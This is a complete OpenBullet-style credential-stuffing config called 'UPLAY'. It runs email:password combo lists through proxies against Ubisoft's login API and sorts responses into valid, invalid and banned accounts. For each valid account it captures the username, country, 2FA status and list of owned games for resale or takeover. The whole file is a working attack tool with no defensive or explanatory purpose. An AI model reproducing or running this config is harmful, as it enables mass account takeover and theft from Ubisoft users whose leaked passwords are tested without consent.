[SETTINGS] { "Name": "UPLAY", "SuggestedBots": 85, "MaxCPM": 0, "LastModified": "2020-04-22T13:44:11.4831894+04:30", "AdditionalInfo": "", "Author": "Im3eyyeD", "Version": "1.4.1 [Anomaly]", "LoliSave": false, "IgnoreResponseErrors": false, "MaxRedirects": 8, "NeedsProxies": true, "OnlySocks": false, "OnlySsl": false, "MaxProxyUses": 0, "EncodeData": false, "AllowedWordlist1": "MailPass", "AllowedWordlist2": "", "DataRules": [ { "SliceName": "PASS", "RuleType": 2, "RuleString": "8", "Id": 1914852426 }, { "SliceName": "PASS", "RuleType": 3, "RuleString": "16", "Id": 1426417255 } ], "CustomInputs": [], "CaptchaUrl": "", "Base64": "", "Grayscale": false, "RemoveLines": false, "RemoveNoise": false, "Dilate": false, "Threshold": 1.0, "DiffKeep": 0.0, "DiffHide": 0.0, "Saturate": false, "Saturation": 0.0, "Transparent": false, "OnlyShow": false, "ContrastGamma": false, "Contrast": 1.0, "Gamma": 1.0, "Brightness": 1.0, "RemoveLinesMin": 0, "RemoveLinesMax": 0, "ForceHeadless": false, "AlwaysOpen": false, "AlwaysQuit": false, "DisableNotifications": false, "CustomUserAgent": "", "RandomUA": false, "CustomCMDArgs": "" } [SCRIPT] #Base64_Auth FUNCTION Base64Encode ":" -> VAR "B64" #LOGIN REQUEST POST "https://public-ubiservices.ubi.com/v3/profiles/sessions" AutoRedirect=FALSE CONTENT "{\"rememberMe\":true}" CONTENTTYPE "application/json" HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" HEADER "Pragma: no-cache" HEADER "Accept: application/json" HEADER "Host: public-ubiservices.ubi.com" HEADER "Connection: keep-alive" HEADER "Origin: https://connect.ubisoft.com" HEADER "Authorization: Basic " HEADER "Ubi-RequestedPlatformType: uplay" HEADER "Ubi-AppId: e06033f4-28a4-43fb-8313-6c2d882bc4a6" HEADER "Referer: https://connect.ubisoft.com/login?appId=e06033f4-28a4-43fb-8313-6c2d882bc4a6&lang=fr-FR&nextUrl=https:%2F%2Foverlay.ubisoft.com%2Foverlay-connect-integration%2Flogged-in.html" KEYCHECK KEYCHAIN Failure OR KEY "Invalid credentials" KEYCHAIN Success OR KEY ",\"ticket\":\"" KEYCHAIN Ban OR KEY "errorCode\":1101" #profileid PARSE "" LR "userId\":\"" "\"" -> VAR "profileid" #ticket PARSE "" LR "ticket\":\"" "\"" -> VAR "ticket" #userId PARSE "" LR "userId\":\"" "\"" -> VAR "userId" REQUEST GET "https://public-ubiservices.ubi.com/v3/users/" HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" HEADER "Pragma: no-cache" HEADER "Accept: application/json" HEADER "Authorization: Ubi_v1 t=" HEADER "Ubi-RequestedPlatformType: uplay" HEADER "Ubi-AppId: e06033f4-28a4-43fb-8313-6c2d882bc4a6" HEADER "Referer: https://connect.ubisoft.com/login?appId=e06033f4-28a4-43fb-8313-6c2d882bc4a6&lang=fr-FR&nextUrl=https:%2F%2Foverlay.ubisoft.com%2Foverlay-connect-integration%2Flogged-in.html" KEYCHECK BanOnToCheck=FALSE KEYCHAIN Custom "FREE" OR KEY "pendingActivation" #username PARSE "" LR "username\":\"" "\"" -> CAP "username" #country PARSE "" LR "country\":\"" "\"" -> CAP "country" #generalStatus PARSE "" LR "generalStatus\":\"" "\"" -> CAP "Status" #Check_2FA REQUEST GET "https://connect.ubisoft.com/api/default/check2fa" HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" HEADER "Pragma: no-cache" HEADER "Accept: application/json" HEADER "Authorization: Ubi_v1 t=" HEADER "Ubi-RequestedPlatformType: uplay" HEADER "Ubi-AppId: e06033f4-28a4-43fb-8313-6c2d882bc4a6" HEADER "Referer: https://connect.ubisoft.com/login?appId=e06033f4-28a4-43fb-8313-6c2d882bc4a6&lang=fr-FR&nextUrl=https:%2F%2Foverlay.ubisoft.com%2Foverlay-connect-integration%2Flogged-in.html" #2FA_Check PARSE "" LR "active\":" "," -> CAP "2FA" REQUEST GET "https://wspuplay-ext.ubi.com/UplayServices/WinServices/GameClientServices.svc/REST/JSON/GetGamePlatformsByUserId//en-US/?onlyOwned=true&rowsCount=-1&pCodeIssuer=PC&country=EN" HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" HEADER "Pragma: no-cache" HEADER "Accept: */*" HEADER "Authorization: Ubi_v1 t=" #CLEAN_NAMES FUNCTION Replace "\"Genres\":\\[[^\\]]*],\"Groups\":\\[[^\\]]*]" "" UseRegex=TRUE "" -> VAR "SRC" #GameCount PARSE "" LR "TotalCount\":" "}" -> CAP "GameCount" #Games PARSE "" LR "\"Name\":\"" "\",\"ReleaseDate\"" Recursive=TRUE -> VAR "Noms" FUNCTION Replace "\",\"Owned\":true,\"PlatformCode\":\"" " - " "" -> CAP "Games"